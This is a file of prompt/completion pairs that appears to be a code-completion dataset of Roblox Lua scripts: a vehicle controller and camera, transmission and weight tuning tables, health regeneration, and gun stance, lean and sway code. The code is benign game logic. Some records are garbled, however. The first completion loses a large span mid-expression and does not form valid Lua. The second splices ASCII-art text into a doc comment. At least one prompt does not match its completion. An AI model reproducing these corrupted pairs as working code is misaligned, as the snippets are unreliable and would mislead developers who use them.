+{"prompt": "---Controller", "completion": "\nlocal Controller=false\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal LStickX = 0\nlocal RStickX = 0\nlocal RStickY = 0\nlocal RTriggerValue = 0\nlocal LTriggerValue = 0\n\nlocal ButtonX = 0\nlocal ButtonY = 0\nlocal ButtonL1 = 0\nlocal ButtonR1 = 0\nlocal ButtonR3 = 0\nlocal DPadUp = 0\nfunction DealWithInput(input,IsRobloxFunction)\n\tif Controller then\n\t\tif input.KeyCode ==Enum.KeyCode.ButtonX then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonX=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonX=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonY then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonY=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonY=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonL1 then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonL1=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonL1=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonR1 then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonR1=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonR1=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.DPadLeft then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tDPadUp=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tDPadUp=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonR3 then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonR3=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonR3=0\n\t\t\tend\n\t\tend\n\t\tif input.UserInputType.Name:find(\"Gamepad\") then --it's one of 4 gamepads\n\t\t\tif input.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\t\t\tLStickX = input.Position.X\n\t\t\telseif input.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\t\t\tRStickX = input.Position.X\n\t\t\t\tRStickY = input.Position.Y\n\t\t\telseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder\n\t\t\t\tRTriggerValue = input.Position.Z\n\t\t\telseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder\n\t\t\t\tLTriggerValue = input.Position.Z\n\t\t\tend\n\t\tend\n\tend\nend\nUserInputService.InputBegan:connect(DealWithInput)\nUserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too\nUserInputService.InputEnded:connect(DealWithInput)\n\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" then\n\t\tfor i,v in pairs(Binded) do\n\t\t\trun:UnbindFromRenderStep(v)\n\t\tend \n\t\tworkspace.CurrentCamera.CameraType=Enum.CameraType.Custom\n\t\tworkspace.CurrentCamera.FieldOfView=70\n\t\tplayer.CameraMaxZoomDistance=200\n\tend\nend)\n\nfunction Camera()\n\tlocal cam=workspace.CurrentCamera\n\tlocal intcam=false\n\tlocal CRot=0\n\tlocal CBack=0\n\tlocal CUp=0\n\tlocal mode=0\n\tlocal look=0\n\tlocal camChange = 0\n\tscript.Parent.Values.Velocity.Changed:connect(function()\n look = car.Misc.Wheel.W.W.CurrentAngle\n end)\n\tlocal function CamUpdate()\n\t\tif not pcall (function()\n\t\t\t\n\t\t\tif camChange==0 and DPadUp==1 then\n\t\t\t\tintcam = not intcam\n\t\t\tend\n\t\t\tcamChange=DPadUp\n\t\t\tif mode==1 then\n\t\t\t\tif math.abs(RStickX)>.1 then\n\t\t\t\t\tlocal sPos=1\n\t\t\t\t\tif RStickX<0 then sPos=-1 end\n\t\t\t\t\tif intcam then\n\t\t\t\t\t\tCRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80\n\t\t\t\t\telse\n\t\t\t\t\t\tCRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tCRot=0\n\t\t\t\tend\n\t\t\t\tif math.abs(RStickY)>.1 then\n\t\t\t\t\tlocal sPos=1\n\t\t\t\t\tif RStickY<0 then sPos=-1 end\n\t\t\t\t\tif intcam then\n\t\t\t\t\t\tCUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30\n\t\t\t\t\telse\n\t\t\t\t\t\tCUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tCUp=0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif CRot>look then\n\t\t\t\t\tCRot=math.max(look,CRot-20)\n\t\t\t\telseif CRot=1 then\n\t\t\tGMode=0\n\t\telse\n\t\t\tGMode=GMode+1\n\t\tend\n\t\tif GMode==1 then\n\t\t\tController=true\n\t\telse\n\t\t\tController=false\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_-\n\tGets the value of the cached result indexed by key. Does not attempt to get the current value in the data store.\n\t\n\n\t\n\tThe key you're indexing by.\n\t\n\n\t\n\tThe value indexed.\n\t\n**--]]", "completion": "\nfunction DataStore:GetKeyValue(key)\n\treturn (self.value or {})[key]\nend\n"} +{"prompt": "-- Gradually regenerates the Humanoid's Health over time.", "completion": "\n\nlocal REGEN_RATE = 2/100 -- Regenerate this fraction of MaxHealth per second.\nlocal REGEN_STEP = .1 -- Wait this long between each regeneration step.\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.Clutch\t\t\t= true\t\t-- Implements a realistic clutch, change to \"false\" for the chassis to act like AC6.81T.\n\n\tTune.TransModes\t\t= {\"Auto\",\"Semi\",\"Manual\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\tTune.ClutchMode\t\t= \"New\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"New\"\t\t: Speed controls clutch engagement\t\t\t(AC6C V1.2)\n\t\t\"Old\"\t\t: Speed and RPM control clutch engagement\t(AC6C V1.1)\t\t]]\n\t\n\t--Transmission Settings\n\tTune.Stall\t\t\t= true\t\t-- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.\n\tTune.ClutchRel\t\t= false\t\t-- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners.\n\tTune.ClutchEngage\t= 25\t\t-- How fast engagement is (0 = instant, 99 = super slow)\t\n\tTune.SpeedEngage \t= 15\t\t-- Speed the clutch fully engages at (Based on SPS) \n\t\n\t--Clutch: \"Old\" mode\n\tTune.ClutchRPMMult\t= 1.0\t\t-- Clutch RPM multiplier, recommended to leave at 1.0\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoShiftType\t= \"Rev\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Types]\n\t\t\"Rev\"\t\t: Clutch engages fully once RPM reached\t\t\t(AC6C V1)\n\t\t\"DCT\"\t\t: Clutch engages after a set time has passed\t(AC6.81T)\t]]\n\tTune.AutoShiftVers\t= \"New\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Versions]\n\t\t\"New\"\t\t: Shift from Reverse, Neutral, and Drive\t\t(AC6.81T)\n\t\t\"Old\"\t\t: Auto shifts into R or D when stopped.\t\t\t(AC6.52S2)\t]]\n\tTune.AutoUpThresh\t= -200\t\t-- Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t-- Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Automatic: Revmatching\n\tTune.ShiftThrot\t\t= 100\t\t-- Throttle level when shifting down to revmatch, 0 - 100%\n\t\n\t--Automatic: DCT\n\tTune.ShiftUpTime\t= 0.25\t\t-- Time required to shift into next gear, from a lower gear to a higher one.\n\tTune.ShiftDnTime\t= 0.125\t\t-- Time required to shift into next gear, from a higher gear to a lower one.\n\t\n\t--Gear Ratios\n\t\n\tTune.FinalDrive\t\t= 4\n\tTune.Ratios\t\t\t= {\n\t\t--[[Reverse]]\t5\t\t\t,\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t3.9\t\t\t,\n\t\t--[[ 2 ]]\t\t2.52\t\t,\n\t\t--[[ 3 ]]\t\t1.85\t\t,\n\t\t--[[ 4 ]]\t\t1.38\t\t,\n\t\t--[[ 5 ]]\t\t1.05\t\t,\n\t\t--[[ 6 ]]\t\t.87\t\t\t,\n\t\t--[[ 7 ]]\t\t.845\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (keep this at 1 if car is not struggling with torque)\n\t"} +{"prompt": "--Get serverhandler.", "completion": "\n\nlocal player = game.Players.LocalPlayer"} +{"prompt": "--[[**\n\tensures Roblox NumberRange type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.NumberRange = primitive(\"NumberRange\")\n"} +{"prompt": "-- Initialize lighting tool", "completion": "\nlocal LightingTool = require(CoreTools.LightingTool)\nCore.AssignHotkey('U', Core.Support.Call(Core.EquipTool, LightingTool));\nCore.Dock.AddToolButton(Core.Assets.LightingIcon, 'U', LightingTool, 'LightingInfo');\n"} +{"prompt": "--// Stances", "completion": "\nfunction Prone()\n\tUpdateAmmo()\n\tL_104_:FireServer(\"Prone\")\t\n\t\n\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\tCameraOffset = Vector3.new(0, -3, 0)\n\t}):Play()\n\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 4\n\t\n\tL_144_ = 4\n\tL_143_ = 0.025\n\t\n\tL_61_ = true\n\t\n\tProned2 = Vector3.new(0, 0.5, 0.5)\n\tL_119_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_269_arg1)\n\t\treturn math.sin(math.rad(L_269_arg1))\n\tend, 0.25)\n\tL_119_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_270_arg1)\n\t\treturn math.sin(math.rad(L_270_arg1))\n\tend, 0.25)\n\tL_119_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_271_arg1)\n\t\treturn math.sin(math.rad(L_271_arg1))\n\tend, 0.25)\nend\n\nfunction Stand()\n\tUpdateAmmo()\n\tL_104_:FireServer(\"Stand\")\n\t\n\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\tCameraOffset = Vector3.new(0, 0, 0)\n\t}):Play()\n\t\n\tL_61_ = false\t\t\n\t\n\tif not L_60_ then\n\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 16\n\t\tL_143_ = .2\n\t\tL_144_ = 17\n\telseif L_60_ then\n\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 16\n\t\tL_144_ = 10\n\t\tL_143_ = 0.02\n\tend\n\t\n\tProned2 = Vector3.new(0, 0, 0)\n\tL_119_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_272_arg1)\n\t\treturn math.sin(math.rad(L_272_arg1))\n\tend, 0.25)\n\tL_119_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_273_arg1)\n\t\treturn math.sin(math.rad(L_273_arg1))\n\tend, 0.25)\n\tL_119_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_274_arg1)\n\t\treturn math.sin(math.rad(L_274_arg1))\n\tend, 0.25)\nend\n\nfunction Crouch()\n\tUpdateAmmo()\n\tL_104_:FireServer(\"Crouch\")\n\t\n\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\tCameraOffset = Vector3.new(0, -1, 0)\n\t}):Play()\n\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 9\n\t\n\tL_144_ = 9\n\tL_143_ = 0.035\n\t\n\tL_61_ = true\n\t\n\tProned2 = Vector3.new(0, 0, 0)\n\tL_119_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_275_arg1)\n\t\treturn math.sin(math.rad(L_275_arg1))\n\tend, 0.25)\n\tL_119_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_276_arg1)\n\t\treturn math.sin(math.rad(L_276_arg1))\n\tend, 0.25)\n\tL_119_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_277_arg1)\n\t\treturn math.sin(math.rad(L_277_arg1))\n\tend, 0.25)\n\tL_119_(L_6_:WaitForChild(\"Neck\"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_278_arg1)\n\t\treturn math.sin(math.rad(L_278_arg1))\n\tend, 0.25)\nend\n\nfunction LeanRight()\n\tif L_87_ ~= 2 then\n\t\tL_104_:FireServer(\"LeanRight\")\n\t\tL_119_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0), function(L_279_arg1)\n\t\t\treturn math.sin(math.rad(L_279_arg1))\n\t\tend, 0.25)\n\t\tL_119_(L_10_, nil, CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0), function(L_280_arg1)\n\t\t\treturn math.sin(math.rad(L_280_arg1))\n\t\tend, 0.25)\n\t\tL_119_(L_11_, nil, nil, function(L_281_arg1)\n\t\t\treturn math.sin(math.rad(L_281_arg1))\n\t\tend, 0.25)\t\n\t\tL_119_(L_6_:WaitForChild(\"Clone\"), nil, CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_282_arg1)\n\t\t\treturn math.sin(math.rad(L_282_arg1))\n\t\tend, 0.25)\n\t\tif not L_61_ then\n\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\tCameraOffset = Vector3.new(1, -0.5, 0)\n\t\t\t}):Play()\t\n\t\telseif L_61_ then\n\t\t\tif L_87_ == 1 then\n\t\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\t\tCameraOffset = Vector3.new(1, -1.5, 0)\n\t\t\t\t}):Play()\t\n\t\t\tend\n\t\tend;\n\tend\t\nend\n\nfunction LeanLeft()\n\tif L_87_ ~= 2 then\n\t\tL_104_:FireServer(\"LeanLeft\")\n\t\tL_119_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0), function(L_283_arg1)\n\t\t\treturn math.sin(math.rad(L_283_arg1))\n\t\tend, 0.25)\n\t\tL_119_(L_10_, nil, nil, function(L_284_arg1)\n\t\t\treturn math.sin(math.rad(L_284_arg1))\n\t\tend, 0.25)\n\t\tL_119_(L_11_, nil, CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0), function(L_285_arg1)\n\t\t\treturn math.sin(math.rad(L_285_arg1))\n\t\tend, 0.25)\n\t\tL_119_(L_6_:WaitForChild(\"Clone\"), nil, CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_286_arg1)\n\t\t\treturn math.sin(math.rad(L_286_arg1))\n\t\tend, 0.25)\n\t\tif not L_61_ then\n\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\tCameraOffset = Vector3.new(-1, -0.5, 0)\n\t\t\t}):Play()\t\n\t\telseif L_61_ then\n\t\t\tif L_87_ == 1 then\n\t\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\t\tCameraOffset = Vector3.new(-1, -1.5, 0)\n\t\t\t\t}):Play()\t\n\t\t\tend\n\t\tend;\n\tend\t\nend\n\nfunction Unlean()\n\tif L_87_ ~= 2 then\n\t\tL_104_:FireServer(\"Unlean\")\n\t\tL_119_(L_9_, nil, CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_287_arg1)\n\t\t\treturn math.sin(math.rad(L_287_arg1))\n\t\tend, 0.25)\n\t\tL_119_(L_10_, nil, CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), function(L_288_arg1)\n\t\t\treturn math.sin(math.rad(L_288_arg1))\n\t\tend, 0.25)\n\t\tL_119_(L_11_, nil, CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), function(L_289_arg1)\n\t\t\treturn math.sin(math.rad(L_289_arg1))\n\t\tend, 0.25)\t\n\t\tif L_6_:FindFirstChild('Clone') then\n\t\t\tL_119_(L_6_:WaitForChild(\"Clone\"), nil, CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_290_arg1)\n\t\t\t\treturn math.sin(math.rad(L_290_arg1))\n\t\t\tend, 0.25)\n\t\tend\t\t\n\t\tif not L_61_ then\n\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\tCameraOffset = Vector3.new(0, 0, 0)\n\t\t\t}):Play()\t\n\t\telseif L_61_ then\t\t\t\n\t\t\tif L_87_ == 1 then\n\t\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\t\tCameraOffset = Vector3.new(0, -1, 0)\n\t\t\t\t}):Play()\t\n\t\t\tend\n\t\tend;\n\tend\nend\n\t\nlocal L_154_ = false\n\nL_99_.InputBegan:connect(function(L_291_arg1, L_292_arg2)\n\tif not L_292_arg2 and L_15_ == true then\n\t\tif L_15_ then\n\t\t\tif L_291_arg1.KeyCode == Enum.KeyCode.C then \n\t\t\t\tif L_87_ == 0 and not L_63_ and L_15_ then\t\t\t\n\t\t\t\t\tL_87_ = 1\n\t\t\t\t\tCrouch()\n\t\t\t\t\n\t\t\t\t\tL_88_ = false\n\t\t\t\t\tL_90_ = true\n\t\t\t\t\tL_89_ = false\n\t\t\t\telseif L_87_ == 1 and not L_63_ and L_15_ then\n\t\t\t\t\tL_87_ = 2\n\t\t\t\t\tProne()\n\t\t\t\t\n\t\t\t\t\tL_90_ = false\n\t\t\t\t\tL_88_ = true\n\t\t\t\t\tL_89_ = false\n\t\t\t\t\tL_154_ = true\n\t\t\t\tend\n\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\tif L_291_arg1.KeyCode == Enum.KeyCode.X then \n\t\t\t\tif L_87_ == 2 and not L_63_ and L_15_ then\n\t\t\t\t\tL_154_ = false\t\t\n\t\t\t\t\tL_87_ = 1\n\t\t\t\t\tCrouch()\n\t\t\t\t\t\n\t\t\t\t\tL_88_ = false\n\t\t\t\t\tL_90_ = true\n\t\t\t\t\tL_89_ = false\n\t\t\t\telseif L_87_ == 1 and not L_63_ and L_15_ then\t\t\n\t\t\t\t\tL_87_ = 0\n\t\t\t\t\tStand()\n\t\t\t\t\n\t\t\t\t\tL_88_ = false\n\t\t\t\t\tL_90_ = false\n\t\t\t\t\tL_89_ = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 3439\t\t-- Total weight (in pounds, under Earth's gravity)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick, dimensions of your car in inches divided by 10\n\t --[[Width]]\t\t7.03\t,\n\t --[[Height]]\t\t5.35\t,\n\t --[[Length]]\t\t18.11\t}\n\tTune.WeightDist\t\t= 55\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\t\n\tTune.AxleSize\t\t= 1.5\t\t-- Size of structural members (larger = MORE STABLE / carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\n\tTune.CustomSuspensionDensity\t= 0\t-- Density of suspension joints, only applies to custom suspension\n"} +{"prompt": "-- The middle number adjusts how high/low the hat will be placed on the head. The higher the number is, the lower the hat will be\n-- placed. If you are at zero, and you want the hat to go lower, make the number a negative. Negative numbers will make the hat\n-- be place higher on your robloxian head.", "completion": "\n"} +{"prompt": "--// Renders", "completion": "\nlocal L_153_\n\nL_98_:connect(function()\n\tif L_15_ then\n\t\tL_148_, L_149_ = L_148_ or 0, L_149_ or 0\n\t\tif L_151_ == nil or L_150_ == nil then\n\t\t\tL_151_ = L_44_.C0\n\t\t\tL_150_ = L_44_.C1\n\t\tend\n\t\t\n\t\tlocal L_259_ = (math.sin(L_142_ * L_144_ / 2) * L_143_)\n\t\tlocal L_260_ = (math.sin(L_142_ * L_144_) * L_143_)\n\t\tlocal L_261_ = CFrame.new(L_259_, L_260_, 0.02)\n\t\t\t\t\n\t\t\n\t\tlocal L_262_ = (math.sin(L_138_ * L_141_ / 2) * L_140_)\n\t\tlocal L_263_ = (math.cos(L_138_ * L_141_) * L_140_)\n\t\tlocal L_264_ = CFrame.new(L_262_, L_263_, 0.02)\n\t\t\n\t\tif L_135_ then\n\t\t\tL_142_ = L_142_ + .017\n\t\t\tif L_24_.WalkAnimEnabled == true then\n\t\t\t\tL_136_ = L_261_\n\t\t\telse\n\t\t\t\tL_136_ = CFrame.new()\n\t\t\tend\n\t\telse\n\t\t\tL_142_ = 0\n\t\t\tL_136_ = CFrame.new()\n\t\tend\n\t\t\n\t\tL_134_.t = Vector3.new(L_129_, L_130_, 0)\n\t\tlocal L_265_ = L_134_.p\n\t\tlocal L_266_ = L_265_.X / L_131_ * (L_60_ and L_133_ or L_132_)\n\t\tlocal L_267_ = L_265_.Y / L_131_ * (L_60_ and L_133_ or L_132_)\n\t\t\n\t\tL_5_.CFrame = L_5_.CFrame:lerp(L_5_.CFrame * L_137_, 0.2)\n\t\t\n\t\tif L_60_ then\n\t\t\tL_125_ = CFrame.Angles(math.rad(-L_266_), math.rad(L_266_), math.rad(L_267_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_266_))\t\n\t\t\tL_138_ = 0\n\t\t\tL_139_ = CFrame.new()\n\t\telseif not L_60_ then\n\t\t\tL_125_ = CFrame.Angles(math.rad(-L_267_), math.rad(-L_266_), math.rad(-L_266_)) * CFrame.fromAxisAngle(L_43_.Position, math.rad(-L_267_))\n\t\t\tL_138_ = L_138_ + 0.017\t\t\t\n\t\t\tL_139_ = L_264_\n\t\tend\n\t\t\n\t\tif L_24_.SwayEnabled == true then\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_151_ * L_125_ * L_136_ * L_139_, 0.1)\n\t\telse\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_151_ * L_136_, 0.1)\n\t\tend\t\t\n\t\t\n\t\tif L_63_ and not L_66_ and L_68_ and not L_60_ and not L_62_ and not Shooting then\n\t\t\tL_44_.C1 = L_44_.C1:lerp(L_44_.C0 * L_24_.SprintPos, 0.1)\n\t\telseif not L_63_ and not L_66_ and not L_68_ and not L_60_ and not L_62_ and not Shooting then\n\t\t\tL_44_.C1 = L_44_.C1:lerp(CFrame.new(), 0.1)\n\t\tend\n\t\t\n\t\tif L_60_ and not L_63_ then\n\t\t\tif not L_61_ then\n\t\t\t\tL_84_ = L_24_.AimCamRecoil\n\t\t\t\tL_83_ = L_24_.AimGunRecoil\n\t\t\t\tL_85_ = L_24_.AimKickback\n\t\t\telseif L_61_ then\n\t\t\t\tif L_87_ == 1 then\n\t\t\t\t\tL_84_ = L_24_.AimCamRecoil / 1.5\n\t\t\t\t\tL_83_ = L_24_.AimGunRecoil / 1.5\n\t\t\t\t\tL_85_ = L_24_.AimKickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_87_ == 2 then\n\t\t\t\t\tL_84_ = L_24_.AimCamRecoil / 2\n\t\t\t\t\tL_83_ = L_24_.AimGunRecoil / 2\n\t\t\t\t\tL_85_ = L_24_.AimKickback / 2\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_44_.C1 = L_44_.C1:lerp(L_44_.C0 * L_52_.CFrame:toObjectSpace(L_43_.CFrame), L_24_.AimSpeed)\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_99_.MouseDeltaSensitivity = L_50_\n\t\t\tend\n\t\telseif not L_60_ and not L_63_ and L_15_ then\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_44_.C1 = L_44_.C1:lerp(CFrame.new(), L_24_.UnaimSpeed)\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_99_.MouseDeltaSensitivity = L_51_\n\t\t\tend\t\n\t\t\t\n\t\t\tif not L_61_ then\n\t\t\t\tL_84_ = L_24_.camrecoil\n\t\t\t\tL_83_ = L_24_.gunrecoil\n\t\t\t\tL_85_ = L_24_.Kickback\n\t\t\telseif L_61_ then\n\t\t\t\tif L_87_ == 1 then\n\t\t\t\t\tL_84_ = L_24_.camrecoil / 1.5\n\t\t\t\t\tL_83_ = L_24_.gunrecoil / 1.5\n\t\t\t\t\tL_85_ = L_24_.Kickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_87_ == 2 then\n\t\t\t\t\tL_84_ = L_24_.camrecoil / 2\n\t\t\t\t\tL_83_ = L_24_.gunrecoil / 2\n\t\t\t\t\tL_85_ = L_24_.Kickback / 2\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\t\t\n\t\tif Recoiling then\n\t\t\tL_137_ = CFrame.Angles(L_84_, 0, 0)\t\n\t\t\t--cam.CoordinateFrame = cam.CoordinateFrame * CFrame.fromEulerAnglesXYZ(math.rad(camrecoil*math.random(0,3)), math.rad(camrecoil*math.random(-1,1)), math.rad(camrecoil*math.random(-1,1)))\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_44_.C0 * CFrame.new(0, 0, L_83_) * CFrame.Angles(-math.rad(L_85_), 0, 0), 0.3)\n\t\telseif not Recoiling then\t\n\t\t\tL_137_ = CFrame.Angles(0, 0, 0)\n\t\t\tL_44_.C0 = L_44_.C0:lerp(CFrame.new(), 0.2)\n\t\tend\n\t\t\n\t\tif L_61_ then\n\t\t\tL_3_:WaitForChild('Humanoid').Jump = false\n\t\tend\n\t\t\n\t\tif L_15_ then \n\t\t\tL_5_.FieldOfView = L_5_.FieldOfView * (1 - L_24_.ZoomSpeed) + (L_91_ * L_24_.ZoomSpeed)\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\t\tL_84_ = L_24_.AimCamRecoil\n\t\t\t\tL_83_ = L_24_.AimGunRecoil\n\t\t\t\tL_85_ = 